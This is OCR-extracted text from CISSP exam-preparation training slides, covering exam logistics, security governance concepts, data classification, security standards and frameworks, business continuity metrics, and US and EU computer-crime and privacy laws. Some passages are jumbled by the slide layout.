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Administration

Course Dates:

v Thursday Afternoon (i.e. Based on operational requirements)
» Trideum Facilities

v' Emergency Exits

e

v' Restrooms
v Breaks
* Course Textbooks
v ISC2 CISSP Official Study Guide — 9t Edition
B v' ISC2 CISSP Official Practice Tests — 3™ Edition
* « Course Materials

(lSC)2 Official Study Guide
(ISC) Cenified Information Systems

N (lsc)’ Official Practice Tests

o CISSP

OFFICIAL (ISC) PRACTICE TESTS

v Chapter Presentations / Review Questions

» Textbook & Practice Test Coverage

CISSP Exam Domains

The ISC? CISSP exam covers the following 8 domains:

________Domain | Textbook Coverage

Security and Risk Management Chapters 1 — 4 &,
Asset Security Chapter 5
Security Architecture and Engineering Chapter 6 — 10
Communications and Network Security Chapter 11 — 12
Identity and Access Management Chapter 13 — 14
g Security Assessment and Testing Chapter 15
Security Operations Chapter 16 — 19

Software Development Security Chapter 20 — 21




CISSP Exam Details

* The CISSP Computerized Adaptive Testing (CAT) provides a
dynamic scoring method based on exam takers responses
o As few as 100 questions could be asked during the exam
o The total number of questions will be based on correct
answers given during the exam

¥ ¥

Security and Risk Management 15%
Asset Security 10%
Exam Length 3 hours
Security Architecture and Engineering 13%
Questions 100 — 150

i

Communications and Network Security 13%
Question Format  Multiple choice and advanced innovative items

ST R

Identity and Access Management 13%
Passing Grade 700/ 1000
B Security Assessment and Testing 12%
z Testing Center Pearson VUE
Security Operations 13%
Software Development Security 11%
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CISSP Exam Retake Policy

 |f you do not pass the CISSP on the first attempt, you can retake
the exam
v' 30 days after the 15t failure :
v/ 90 days after the 2" failure
v/ 180 days after the 31 failure
v You may attempt an (ISC)? exam up to 4 times within12-months
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CISSP Requirements

« The CISSP specifies the following requirements before taking the exam:

v’ Five years of work experience in at least two of the eight domains of
the CISSP program and must be paid, full-time employment

v Volunteer experiences or part-time duties are not acceptable to meet
the CISSP experience requirement

v Work experience considerations:

o Bachelor’s degree or four-year equivalent degree waiver
o Existing Certifications

CISSP Preparation Resources

i
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» Several online resources are available to prepare for the CISSP:
v ISC? Site Resource
o https://www.isc2.org/Training/Self-Study-Resources
v CyberProtex Apps
o https://www.cyberprotex.com
v Quizlet
o https://quizlet.com s T
v CCCure Quiz Engine
o https://cccure.training

statements.







Ihtegrity-ReIated Definitions

Nonrepudiation

v Verification of the origin of a communication or event

v Inability to deny that an action or activity was performed
Accuracy

v Being correct and precise
Truthfulness

v’ Being a true reflection of reality
Authenticity

v' Authentic or genuine data
Validity

v Being factually or logically sound

Additional Integrity Concepts i

+ Several considerations when considering information integrity
: v’ Preventing unauthorized subjects from making modifications
o Intended
v’ Preventing authorized subjects from making unauthorized modificatiol
o Intended
o Unintended
v’ Maintaining the consistency of objects so that their data is a correct

To maintain integrity of data, information, or systems security controls mus
be applied to restrict access to data, objects, and resources

o Activity logging
o Maintaining and validating object integrity while in storage,
transport, or processing

A{iailability-ReIated Definitions"

Usability ,
v v The ease with which a data, information, or systems are understood
~ *» Accessibility

v’ The ability of subjects to interact with a resource
Timeliness
v’ The level of latency associated with accessing a resource

Ihtegrity-ReIated Definitions

Comprehensiveness

v Being complete in scope; the full inclusion of all needed elements
Responsibility

v' Being in charge or having control over something or someone
Accountability

v’ Being responsible or obligated for actions and results
Completeness

v’ Having all needed and necessary components or parts

Availability Concepts
Availability of data, information, and systems can be impacted by both
intended and unintended events including:
v' Device failure
v’ Software errors
v Environmental issues
o Heat
o Static
o Flooding
o Power loss
v' Technical
o DoS attacks
o Object destruction
o Commgnication interruptions

Additional Security Definitions'

Identification

v'Claiming to be an identity when attempting to access a secured area o
system

Authentication

v'Proving identity

Authorization

v'Level of resource and object access for a specific identity

Auditing

v'Recording of events and activities related to systems and subjects
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Organizational Plans
1sc? specifies three type of security management plans
v Strategic (~ 5 years)

o Long-term plan that defines an organization’s security purpose and aligns
organizational missions and objectives

o A strategic plan should include a risk assessment
v’ Tactical (~ 1 year)
o Mid-term plan which provides details on meeting strategic plan goals and includes

Questions Set #1

« Project plans, Acquisition plans, Hiring plans
v' Operational (Monthly / Quarterly)

o Highly detailed plan based on the strategic and tactical plans that specifies how to
accomplish organizational goals S — s s s s

[—T ]

o Resource allocation
[cicaipan | [ ot | [ Toctcaipon | [ Tachcarpan | [ Tocicaipin |

o Budgetary requirements OO0 OCNO0c0s
o Staffing assignments SIS [
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usiness Strategy vs. Security Functions

prE e
- Organizational Processes
Two high-level processes that support security objectives
v' Change Management
o Ensures changes do not result in reduced or compromised security
o Aids in the roll back of changes to a known good security configuration
o Utilizes a Change Advisory Board (CAB) to review and manage changes
v Data Classification

Organizations must properly align resources to ensure effective utilizatio
of personnel, technology, and facilities

Several steps are required to meet business and security objectives
v Development of an effective organizational security plan

v Security policy forms the backbone of standards, baselines, guidelines,
and procedures

v After security documentation is published operational managers and
security personnel must implement security management decisions

- v Leaders and end users comply with organizational security policies

o Categorization of data based on secrecy, sensitivity, or security requirement

o Data is organized as items, objects, or subjects, and grouped into categories
based on value, sensitivity, risk, vulnerability, power, privilege, possible
levels of loss or damage, or need to know

o Data classification is composed of two classification schemes
« Government / Military
« Commercial Business / Private

.

‘Commercial Business / Private
Data Classification

Confidential / Proprietary
v Highest level of classification

ey — oo

¥' Used for extremely sensitive data and is for organizational use only
v Disclosure of confidential data will result in a significant negative impact for an organization
«  Private Information H
v' Data of a private or personal nature and intended for internal use only QueStlonS Set #2
v' Disclosure of private information results in significant negative impact for an organization
« Sensitive
v Data that is more classified than public data
v Disclosure of sensitive data could result in a negative impact to an organization
Public
v Lowest level of classification
v Any data not qualifying as sensitive data
ublic data does not result in a negative impact to an organization




Organizational Roles and Responsibilities
* » Security Professional

v Trained and experienced network, systems, and security engineer
responsible for following senior management directives
s User

Organizational Roles and Responsibilities

» Senior Manager

v The person ultimately responsible for organizational security and asset Qﬂ

) protection
» Data Owner

v'Personnel responsible for data classification

¥'Generally a high-level manager, but usually delegated to a custodian i
» Data Custodian

v'Responsible for data protection tasks specified by security policy and
senior management such as performing and testing backups,

validating data integrity, deploying security solutions, and managing
data storage based on classification

o
i

v'Any person who has access to a secured system
¥'Users are responsible for understanding and upholding the security
policy of an organization
* Auditor

v'Personnel responsible for reviewing and verifying proper implemented
of security policy

v Produces compliance and effectiveness reports that are reviewed by
the senior

Security Standards
» Security standards come from multiple sources:
v’ Federal Law
% v International Standards
: v' Industry Standards
v' Product Guidelines
» Organizations that have help to build security standards and guidelines:
¥ International Organization for Standardization
v North American Reliability Corporation
v National Institute of Standards and Technology
v Payment Card Industry Data Security Standard
v Open Web Application Security Project

Security Standards
Organizations

North American

National Institute for
Reliability Corporation

Standards and Technology

| : : » Under the Computer Security Division, NIST “provides standards and

i prodces ftaﬁdards focUseman POVGE g.;rld"securlty : “i | technology to protect information systems against threats to the

I« NERC produces “Critical Infrastructure Protection” (CIP) documentation confidentiality, integrity, and availability of information and services™
which sets forth standards relative to system security

; i » NIST supports several projects that assist the cybersecurity community
» NERC also responsible for the development of NERC Cybersecurity including: ;
a0y v Special Publications A

v National Vulnerability Database (NVD)
v Information Security Automation Program (ISAP)

NIST

NERC

e ——————————————————
NORTH AMERICAN ELECTRIC
RELIABILITY CORPORATION

.nerc.com/pa/Stand/Pages/default.aspx ist.gov/itl/csd
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ISA/IEC-62443

Payment Card Industry
Data Security Standard
PCI DSS is a standard that is proscribed and implemented by the
PCI Security Standards Council
PCI DSS requires vulnerability scanning and assessments including
v Internal / External Vulnerability Scans
v’ Scans either quarterly or after system changes
v Only Approved Scanning Vendors (ASV) can conduct scans
v Remediation of critical vulnerabilities and confirmation scan

. DSS
J COMPLIANT

“The International Society of Automation has established a knowledge- ‘
based certificate program to develop a more cybersecurity focused
workforce

ISA/IEC-62443 certificates include:

v’ Cybersecurity Fundamentals Specialist

v’ Cybersecurity Risk Assessment Specialist
v’ Cybersecurity Design Specialist

v’ Cybersecurity Maintenance Specialist

ISA

a .org_lgg;r:iqgﬁnq-gg((i@jjd!vﬂisa-osnméation

Open Web Application Security Project
Top 10 |

- “The OWASP Top 10 Privacy Risks Project provides a top 10 list for priva
risks in web applications and related countermeasures” and is updated
every 3 to 4 years

The OWASP Top 10 cover technological and organizational consideratio

Questions Set #3

2017 2021
A01:2017-Injection i = A01:2021-Broken Access Control
A02:2017-Broken Authentication N “—_ > A02:2021-Cryptographic Failures

A03:2017-Sensitive Data Exposure
A04:2017-XML External Entities (XXE)
A05:2017-Broken Access Control ~ A05:2021-Security Misconfiguration
AD6:2017-Security Misconfiguration 7 A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) S\ A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization """ {New) A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities > A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring pape——" (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

5 A03:2021-Injection
(New) A04:2021-Insecure Design

owasp.org/index php/OWASP._Top_10_Privacy_Risks_Project

e -

ernational Organization for Standardizatio

The International Organization for Standardization establishes standard
across multiple industries and developed the Open Systems
Interconnection (OSI) model in 1984

ISO/IEC 27001:2013

v Information Technology — Security Techniques — Information Security
Management Systems — Requirements

ISO 27002
v Information technology - Security techniques - Code of practice for

information security controls PN

Security Frameworks

0.0rg/es/03.100.70K



COBIT

The Control Objectives for Information and Related Technology (COBIT

is a standardized best practice for IT security and is produced by the

Information Systems Audit and Control Association (ISACA)

v' Recommends goals and requirements for security controls and
encourages mapping of IT security ideals to business objectives

v  COBIT 5 is based on five key principles for governance and

management of enterprise IT:
®
COBITeg

o Meeting Stakeholder Needs
AN ISACA® FRAMEWORK

e,

o Covering the Enterprise End-to-End

o Applying a Single, Integrated Framework
o Enabling a Holistic Approach

o Separating Governance From Management

isaca ,Qrglresourcesyegohil

e

approach for evaluating an organization’s security posture
CSET is a desktop software tool that guides asset owners and
operators through a step-by-step process to evaluate industrial control
system (ICS) and information technology (IT) network security practice:
» Users can evaluate their own cybersecurity stance using many

recognized government and industry standards and recommendations.

ithub.com/cisagov/cset/releases

Security Policy, Standards,
Procedures, and Guidelines

- Resource Center (CSRC)

-« What is a security policy and baseline?

NIST ‘Security Control Framew&fi&é

NIST provides security related guidance through the Computer Security

Examples of security control guidance includes:
* NIST SP 800-53 Rev 4/5 (Final/Draft)
v' Security and Privacy Controls for Information Systems and Organizations
* NIST SP 800-171

v Protecting Unclassified Information in Nonfederal Information Systems and
Organizations :

D FAMILY

WP | Media rotection
PA_| privacy Authorization

PL_ | Planing

sk Assessment
System and Services Acquisition 3
System and Communications Protection

R e B
e & L N

Questions Set #4

Security Policy

v’ Security Policy

o Defines the scope of security needed by an organization and
identifies assets and the necessary security of each

o There are different kinds of security policies and depend on
organizational objectives

= Top-Down Security Policy

= Bottom-Up Security Policy
v’ Security Baseline
o A minimum level of security that a system must meet
o More opefationally focused than a standard










ISC2 CISSP Domain #2

Personnel Security and Risk Management

Certified
Information
Systems Security

CISSP* Professional

Concepts and Definitions

Personnel Security
Policies and Procedures

|+ Individuals continue to represent the weakest link in any security solution and

will find ways to avoid, circumvent, or disable security controls
Organizations can reduce personnel security violations through:
v' Listing job responsibilities
v’ Setting job classifications
v' Employee screening
v' Employee onboarding
v' Employee security training
~ » Additional actions to reduce personnel related security concerns:
v Need to Know
v’ Least Privilege
v’ Separation of Duties
v Job Responsibilities
“ Job Rotation

Domain Topics

E‘»"iS Contribute to and enforce personnel security policies and procedures

i 1.9 Understand and apply risk management concepts

" 1.12 Establish and maintain a security awareness, education, and training
program

6.3 Collect security process data

Seéurity Governance Definitions

Security Governance

v’ Practices supporting, defining, and directing organizational security efforts
and relate to corporate and IT governance

~ «» Third-Party Governance

v' Oversight of third parties mandated by law, regulation, industry standards,
contractual obligation, or licensing requirements

* Documentation Review

v’ Evaluating security documentation verify compliance standards
Authorization to Operate (ATO)

v’ Permission to operate a network after meeting compliance requirements
Plan of Actions and Milestones (POA&M)
v A plan that lists how to remediate failed compliance requirements

gy

Separation of Duties & Job Rotation

Critical work functions are distributed among several individuals to prevent
single points of failure

Administrator Database Firewall User Account File Network
Tasks Management Management Management | Management | Management
Ken Williams Mary Smith Dave Gregg Casey Lang Roger Lim
Admin Assigned
Fred Loften Stan Wilson Barbi Taylor Bob Favre Bill Endo
« Additionally, job rotation and cross-training can
« Support personnel redundancy

* Reduce fraud, data modification, theft, sabotage, or information misuse

Administrator Database Firewall User Account File Network
Tasks Management | Management Management | Management | Management

Casey Lang Barbi Taylor Dave Gregg Mary Smith Bob Favre

Admin Assigned
Roger Lim Fred Loften Stan Wilson Bill Endo Ken Williams
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" Risk-Focused NIST Special Publications

v NIST-SP 800-30 Rev 1
o Guide for Conducting Risk Assessments
v NIST-SP 800-37 Rev 2
o Risk Management Framework for Information Systems and

¥ NIST-SP 800-39

o Managing Information Security Risk: Organization, Mission, and
Information System View

v NIST-SP 800-161

o Supply Chain Risk Management Practices for Federal Information
Systems and Organizations

Question Set #4

-

Security Awareness and Training
Organizations have a responsibility to train their personnel on the
importance of implementing security at every level of the operation
v Training and Education

o Technical Staff, Management, Users

o Technical, Administrative, Physical

o Safety Topics (Escape Plans, Drills)

Organizations: A System Life Cycle Approach for Security and Privacy

RMF Process

» Asix-step process to identify, improve, and evaluate security controls

v’ Categorize
o Categorize systems based on organizational impact
v Select
o Select baseline security controls based on risk assessment

v Implement
o Implement security controls supt
carcconze
v Assess s 905010040
o Evaluate security controls ANAGEMENT
v Authorize oL
. P . Whi—_— Stepd
o Authorize deployment of information system s =
- spa0san

v Monitor
o Monitor control effectiveness

N
A

Security Awareness, Education,
and Training Program

g

~ Security Training Topics

v’ Train on current security law, best practices, and standards
v Clean desk policy

v Proper handling of organizational PlII

v/ BYOD integration

v Facility security

v' Proper use of web resources

v' Social networking activities

v' Data handling and marking

v/ Media disposal

v/ Emergency procedures (i.e. real, hoax)

By

: Training topics to consider when developing a security training plan:







ISC2 CISSP Training

Business Continuity Planning

CISSP*

Certified
Information
Systems Security
Professional

SRR T

NIST Contingency PlanninvaGi_dg

also be used by industry to establish contingency plans

» The publication recommends that organizations identify their core
“business processes” and specify three recovery measures:

~ » NIST SP 800-34 introduces organizational contingency planning and
although it is focused on federal information systems, the guide can

v Recovery Point Objective (RPO)
v’ Recovery Time Objective (RTO)
v/ Maximum Tolerable Downtime (MTD)

NIST Specia Publiction 80034 Rev. |

Contingency Planning Guide for
Federal Information Systems

RS
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'Recovery Time Objective v

- After a service disruption occurs, the RTO is the time needed to
restore hardware, services, applications, or data

* RTO is also known as Maximum Allowable Downtime (MAD)

'7"‘Domain Topics

1.7 Identify, Analyze, and Prioritize Business Continuity Requiremen{s

7.14 Participate in Business Continuity Planning and Exercises

Recovery Point Objective :
" During normal operations, organizations should have security confri:y
in place to backup hardware, services, applications, and data X
The Recovery Point Objective (RPO) is the last time an organization
backed up hardware, services, applications, or data
» The RPO should be specified in policy and applied by system
administrators
» If your RPO is 2 hours, and a service disruption occurs, your
organization will lose 2 hours of data

i

5 R

Maximum Tolerable Downtime

to negatively impact on business operation

To avoid negative impact to business operations, the RTO should be
less than the MTD












Disclaimer...

| am not a lawyer but | did stay at a Holiday Inn Express last night!

ISC2 CISSP Training

Laws, Regulations, and Compliance

Certified
Information
Systems Security

CISSP* Professional

Domain Topics Law Categories

Criminal Law

v Laws enforced by police and law enforcement agencies

v' Criminal law infractions include acts such as murder, assault, robbery, and"
arson ;

Civil Law

1.3 Determine compliance requirements

1.4 Understand legal and regulatory issues that pertain to information

L v Laws designed to establish an orderly society and govern non-criminal
security in a global context - . ¥ 2

matters but require impartial arbiters to settle disputes between individuals
and organizations

v Examples of civil law include contract disputes, real estate transactions,
employment matters, and estate/probate procedures

v Civil laws also establish the framework used by the executive by establishivk
budgets for governmental activities and grant authority for administrative Ia!

Law Categories

Administrative Law

v Law relative to administrative agencies following executive branch directive:
to ensure effective government functions ¥

v' Although criminal and civil law provide high level directives, executive brancl .
agencies have discretion to enact administrative law

Computer Crime Law
v Administrative law is generally provided by means of policies, procedures,
and regulations that govern the agency operations




Computer Crime Federal Rules of Evidence

FEDERAL RULES
B ¥ I OF

i.)’- As computer technologies advanced, computer crimes proliferated and s’ i.)’ EVIDENCE
there was a need to augment traditional criminal law to include computer
crimes and several legislative attempts were made to respond to ‘
computer-based crimes oo DECEMBER 1, 2014

-+ In preparation for the CISSP we will focus on U.S. Federal and
International laws relating to computer crimes

- Enacted by Public Law 93-595 and approved
January 2, 1975 ‘4
» FRE Atrticles include:

v' Article VI — Witnesses

v' Atrticle VII — Opinions and Expert Testimony

v’ Article VIIl — Hearsay

v Article IX — Authentication and Identification

v’ Article X — Contents of Writings,
Recordings, and Photographs

Computer-Based Laws

‘* * We will introduce several laws that attempted to address
computer crimes

I v Computer Fraud and Abuse Act, 1986 - : ]
v Computer Security Act, 1987 ; . ert_ten t(_) oply_cover compu,te:r crimes that crossed state boundaries and
; avoided infringing on states’ rights

v' National Information Infrastructure Protection Act, 1991 « Updated numerous times: 1994, 1996, 2001, 2002, and 2008
v' Computer Abuse Amendment Act, 1994 '+ In 1994, the Computer Abuse Amendment Act, amended CFAA by:
v' Economic Espionage Act, 1996 v’ Outlawing malware that damages computer systems
v Federal Information Systems Management Act, 2002 v Expanding the CFAA to cover any computer used in interstate commerce |
v Federal Cybersecurity Laws, 2014 v Imprisoning offenders regardless if they intended to cause damage

o Federal Information Systems Modernization Act, 2014

tional Information Infrastructure Protection Ac ederal Information Security Management Act

+ Passed in 2002, FISMA requires federal agencies
and contractors to implement an information i3
security program %i

* FISMA repeals and replaces Computer Security ;w"
Act of 1987 and Government Information Security
Reform Act of 2000

« NIST published FISMA security documentation: ,%
- ¥’ Guidelines for organization risk assessments
v’ Security awareness training procedures .
v' Security policy development & implementatiof
v Incident handling and response .
v' Continuity of operations and disaster recove

0

{ = Anamendment to the CFAA was added in 1996,

| called the National Information Infrastructure

| Protection Act (NIIPA) of 1996

"« The NIIPA:

v Extended CFAA to cover computer systems
engaged in interstate commerce

v' Protection of national infrastructure computing
systems such as those associated with railroads,
gas pipelines, electric power grids, and
telecommunications circuits

v Defined any damage caused by an intentional act

against critical national infrastructure as a felony

STRUCTURI
PROTECTION ACT OF 1995




Federal Cybersecurity Laws of 2014

y‘ Several federal cybersecurity laws were passed in 2014
| * The Federal Information Systems Modernization Act (FISMA) modified the
| Federal Information Systems Management Act (FISMA) by centralizing federal
I cybersecurity responsibility with DHS
v’ Exceptions:

o DoD related cybersecurity remains with Secretary of Defense (SecDef)

o Intelligence cybersecurity remains with Director of National Intelligence (DNI)
The Cybersecurity Enhancement Act requires NIST to develop cybersecurity
standards; NIST Special Publication (SP) 800 series

The National Cybersecurity Protection Act (NCPA) charged the DHS with
establishing a national cybersecurity and communications integration center to %
coordinate activities between federal and civilian organizations to share
cybersecurity related data

Intellectual Property Laws

Intellectual Property Definitions Intellectual Property Definitions

Intellectual Property (IP) topics covered on the CISSP include:
v’ Trademarks
o Words, slogans, or logos identifying a company product or service
o The objective of trademark protection is to avoid confusion
o Trademarks do not need to be officially registered; ™ :
o If a product or service is registered; ® %
v Patents
o Patents protect IP with a 20-year exclusive rights period
o Starts from initial application date and is public domain thereafter
o Inventions are patentable only if they are original ideas :

* Intellectual property focuses on intangible assets requiring greater legal
| protections and depend on secrecy of recipes to compete in the
| marketplace

* Intellectual Property (IP) topics covered on the CISSP include:

v’ Copyrights
o Guarantees that creators of “original works of authorship”
protection against unauthorized duplication; ©
v’ Eight work categories

o Literary, Musical, Dramatic, Pantomimes and choreographic,
Pictorial, graphical, and sculptural, Motion pictures and AV,
Sound recordings, and Architectural

Digital Millennium Copyright Act

The DMCA was passed in 1998 to modernize IP protections and brought ‘;}»
U.S. copyright law into compliance with World Intellectual Property ¥
Organization (WIPO) treaties %i
The DMCA prohibits circumventing copyright protection mechanisms
placed on a protected work by the copyright holder

v Examples include copy-prevention mechanisms placed on digital i
media such as compact discs (CDs) and digital versatile discs (DVDs)
The DMCA specifies penalties of up to $1,000,000 and 10 years in prison .
for repeat offenders

Nonprofit institutions such as libraries and schools are exempted from this
provision

DMCA limits liability of Internet service providers (ISP) when their circuits
"are_used by criminals violating the copyright law

Intellectual Property Definitions

%,- Intellectual Property (IP) topics covered on the CISSP include:
: v' Trade secrets

o IP essential to a business and whose disclosure would
irreparably damage a company

o Copyrights and patents do not provide adequate protection:
= They require public disclose about the invention
= They only provide protection for a limited time




' Economic Espionage Act

‘This act contains two significant provisions:

$500,000 and imprisoned for up to 15 years”

be fined up to $250,000 and imprisoned for up to 10 years”

icrn ot Poppen S 4 s 3 e f s e s 0 Gvei £ EACUS ey T e
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. \:Import | Export

'Federal regulations that govern imports and exports include:
v' The International Traffic in Arms Regulations (ITAR)
o Controls export of defense items and technical
information
o Specified in the U.S. Munitions List (USML); 22 CFR
121
v’ The Export Administration Regulations (EAR)
o ltems designed for commercial use that have military
applications
o Listed in the Commerce Control List (CCL) maintained
by the U.S. Department of Commerce (DoC)
= DoC Bureau of Industry and Security specifies
regulations on the export of encryption products
outside the United States
o EAR contains a category covering information security
products

i

oY

U.S. Privacy Laws

v “Anyone found guilty of stealing trade secrets from a U.S. corporation with t
intention of benefiting a foreign government or agent may be fined up to

v" “Anyone found guilty of stealing trade secrets under other circumstances me

Foay;

Licensing Definitions
here are four types of licensing agreements that will be tested on the
CISSP:

v Contractual License Agreements
o Awritten contract between software vendors and customers specifying
responsibilities ;
v' Shrink-Wrap License Agreements
o Agreements written on the outside of software packaging that includes
clauses specifying terms when breaking shrink-wrap packaging
o Does not require users to acknowledge they have read the agreement
v Click-Through License Agreements
o Contract terms written on packaging or included in software
documentation that specifies terms
Cloud Service License Agreements
o Alink to legal terms and a check box for users is provided to agree
the terms 3

Question Set #1

Py T

‘ qurth Amendment |

The 4th Amendment to the U.S. Constitution prohibits government agents
from searching private property without a warrant and probable cause

Recent laws and administrative regulations have required courts to expar
their interpretation of the 4th Amendment to include protections against
wiretapping and other invasions of privacy

The 4th Amendment

right of the people to be secure in their persons, houss
, and effects, aguinst unreasonable searches and s wr_
not be violated, and no Warcants shall issue, but upos
probable canse, supported by Oatl or afficmation, and
pucticulucly describing the place fo be searched, and
persons or things to be seized. P




Privacy Act of 1974

"

| = Requires government agencies to maintain records necessary for conducting | : : |
| privacy -

| business and destroy records when no longer needed for business functions

ke Specifies a formal procedure for citizens to gain access to records the ;
government maintains about them (i.e. FOIA) E

» Prevents government agencies from disclosing private information to other .
people or agencies without the prior written consent B

o Exception to the Privacy Act include information collected for the

census, law enforcement, the National Archives, health and safety, and

: court orders
“ Only pertains to government agencies, not private organizations

Communications Assistance for Law
¥ Enforcement Act

| » Passed in 1994, CALEA amended ECPA and requires all

| communications carriers to make wiretaps possible for law
enforcement with an appropriate court order, regardless of the
technology in use and has expanded to include VolP and broadband'gﬁ,
Internet traffic i

» From 2004 to 2007 there was a 62 percent growth in the number of

. wiretaps performed under CALEA — and more than 3,000 percent

I growth in interception of Internet data such as email

~» By 2007, the FBI had spent $39 million on its Digital Collection

System Network (DCSNet) system, which collects, stores, indexes,

“and analyzes communications data

Health Information Technology for
b Economic and Clinical Health Act

» Passed in 2009, Congress amended HIPAA by passing the HITECH Act
~ which updated requirement on organizations handling of protected
health information (PHI) on behalf of HIPAA covered entity and Busine
Associates
» Sharing of any information between a covered entity and business
associate must be documented in a business associate agreement
- (BAA)
[+ HITECH requires data breach notifications where HIPAA-covered
~entities that have a data breach must notify affected individuals, the
Secretary of Health and Human Services (HHS) and the media

" » Passed in 1996, HIPAA made numerous changes to the laws

-+ Passed in 1998, the COPPA requires that websites must display

| » Parents must provide verifiable consent to data collected on children

~ Electronic Communications Privacy Act
Passed in 1986, ECPA makes it a crime to invade individual electroniéfi

Extended the Federal Wiretap Act of 1968 and applies to any iIIegaIO%;
interception of electronic communications or the intentional access dﬁ
electronically stored data 5

+ Prohibits interception or disclosure of communications and specifies |

. situations where disclosure is legal

Protects against monitoring of email, voicemail, phone conversations,
and prevents providers from making unauthorized disclosures of their |
- content

Health Insurance Portability and
Accountability Act

governing health insurance and health maintenance organizations ?ﬁ
(HMOs) :;{q
* Required privacy and security regulations regarding strict security
measures for hospitals, physicians, insurance companies, and other |

. organizations that process or store individual medical information

_+ Defines the rights of individual medical records and requires
~ organizations to disclose rights in writing

Children’s Online Privacy
Protection Act

privacy notices that state the information collected, its use, and
contact information for site operators

» Parents must review any information collected from their children
and be allowed to permanently delete it from the site’s records

. younger than 13, prior to any collection



Gramm-Leach-Bliley Act g, PR

~ Passed in 1999, GLBA relaxed government regulations concerning
the services banks, insurance companies, and credit providers could
. provide one another
"+ The GLBA limited the types of information that could be exchanged
| among subsidiaries of the same corporation and required financial

_ institutions to provide written privacy policies to all their customers
‘ Requires financial institutions to "respect the privacy of its customers
and to protect the security and confidentiality of those customers'
non-public personal information”

- Appropriate Tools Required to Intercept and Obstruct Terrorism Act
 broadened the powers of law enforcement organizations and intelligence
| agencies when monitoring electronic communications

i Allows authorities to obtain a blanket authorization for a person and
monitoring all communications to or from that person under a single warrant
ISPs may voluntarily provide the government with a large range of
information

Allows the government to obtain detailed information on user activity using
a subpoena and amends the CFAA to establish more significant penalties
for criminal acts

Identity Theft and Assumption
Deterrence Act

institutions that accept funding from the federal government

* Grants privacy rights to students older than 18 and parents of minor

. students

';“ FERPA protections include:

| v Parents/students have the right to inspect any educational records
maintained by the institution about the student

v’ Parents/students have the right to request correction of records they
think are erroneous and the right to include a statement in the record
contesting anything that is not corrected

v Schools may not release personal information from student records *

without written consent, except under certain circumstances

- Passed in 1998, this act made identity theft a crime against the person
- whose identity was stolen and provides severe criminal penalties

v Up to 15-years in prison
v Up to $250,000 fine

Prior to this law the only legal victims of identity theft were the creditors who
were defrauded

Question Set #2 EU Privacy Laws




T S
European Union Privacy Law
_» The European Union (EU) passed a directive in 1995 outlining privacy measures
that must be in place for protecting personal data processed by information system
Processing of personal data must meet one of the following criteria .

v Consent

v' Contract

v' Legal obligation

v' Vital interest of the data subject

v’ Balance between the interests of data holder and data subject
Outlines key rights of individuals about whom data is held and/or processed:
¥ Right to access the data
v Right to know the data’s source
v Right to correct inaccurate data
v Right to withhold consent to process data in some situations
-_;,Bightvof legal agtion should these rights be violated

" General Data Protection Regulatibn

j Passed in 2016 and implemented in 2018, GDPR provides a single law that covers
- data utilized throughout the EU and improves data protection directives protectlng«
data collected from EU residents

GDPR applies to organizations outside the EU, if they collect information about EU
residents

. » GDPR provisions include:

v A data breach notification requirement on companies to inform authorities of
serious data breaches within 72 hours

v’ Creation of centralized data protection authorities in each EU member state
v Individual access to data
v' Portability provisions for transfer of personal data between service providers
¥' Provisions to require companies to delete information if it is no longer neede

Payment Card Industry
Data Security Standard

PCI
v

PCI DSS is an international standard that applies to
any organization that processes credit card
transactions

| LR RO R G R

"+ Passed in 2016, the Privacy Shield agreement replaces the safe harbor agreement
and allows U.S. companies to certify compliance with EU privacy laws

- To qualify for Privacy Shield protection, U.S. companies conducting business in
~ Europe must meet these seven requirements for the processing of personal
information:

v' Informing Individuals About Data Processing

v' Providing Free and Accessible Dispute Resolution

¥' Cooperating with the Department of Commerce

¥' Maintaining Data Integrity and Purpose Limitation

v' Ensuring Accountability for Data Transferred to Third Parties
¥ Transparency Related to Enforcement Actions

v Ensuring Commitments Are Kept As Long As Data Is Held

Privacy Shield

Security Compliance

Payment Card Industry
Data Security Standard

DSS enforces 12 requirements:

Maintain firewall configurations to protect cardholder data
Do not use defaults for system security parameters
Protect stored cardholder data

Encrypt cardholder data across open public networks
Protect all systems against malware and regularly update antivirus software or programs
Develop and maintain secure systems and applications

Restrict access to cardholders by business need-to-know

Identify and authenticate access to system components

Restrict physical access to cardholder data

Track and monitor access to networks and cardholder data
Regularly test security systems and processes

Maintain policies addressing information security for all personnel







Domain Topics

2.1 ldentify and Classify Information and Assets

2.2 Determine and Maintain Information and Asset Ownership

ISC2 CISSP Training

; ) 2.3 Protect Privac
Protecting Security Assets .

CISSP*

2.4 Ensure Appropriate Asset Retention
2.5 Determine Data Security Controls

i 2.6 Establishing Information and Asset Handling Requirements
ertifie
Information
Systems Security
Professional

Data Definitions Data Types

" Data and information fall into the following categories:
v Sensitive Data

o Confidential, proprietary, protected, or any data essential to an
organizations value or needed to comply with laws and regulations

v Personally Identifiable Information (PII)

o “Any information about an individual maintained by an agency, including
information that can be used to distinguish or trace an individual’s identity,
such as name, SSN, DOB, mother’s maiden name, or biometric records;
and information linked or linkable to an individual, such as medical,

v’ The process of removing personally identifiable data to prevent educational, financial, and employment information” — NIST SP 800-122

identification of a person A v Protected health information (PHI)
- ¥ Security requirements under GDPR do not apply to anonymized data o ‘“Information created or received by a health care provider, health plan,

public health authority, employer, life insurer, school or university, or heal
care cleannghouse that relates individual health condition” — HIPPA iy

ani

Pseudonymization
v’ The process of using pseudonyms to represent data

v Instead of including personal information such as the patient's name,
address, and phone number, it could just refer to the patient as Patie
23456 in the medical record

v Synonymous with tokenization
Anonymization

Data Types Data States

‘When developing asset protection policy, ensure that all data states are
addressed

v Data at Rest

o Data stored on media including hard drives, external USB drives
storage area networks, and backup tapes !

v' Data in Transit (i.e. Data in Motion)

o Also known as data in motion, this includes any data transmitted
over wired, wireless / cellular networks (i.e. LAN / WAN / VANET)

v Data in Use

Proprietary Data
v’ Data that maintains a competitive edge in the marketplace i
v* Significant effort has been applied by Advanced Persistent Threats (APTs)
the acquisition of proprietary data
o APT1 — Chinese APT
= Compromised 141 companies spanning 20 major industries and
included exfiltration of 6.5 TB of compressed intellectual property data
in 2013
o APT 28 /APT 29 — Russian APT
= Threat organizations are frequently identified with different names (i
APT 28 has been identified as Sofacy Group, Sednit, Pawn Storm
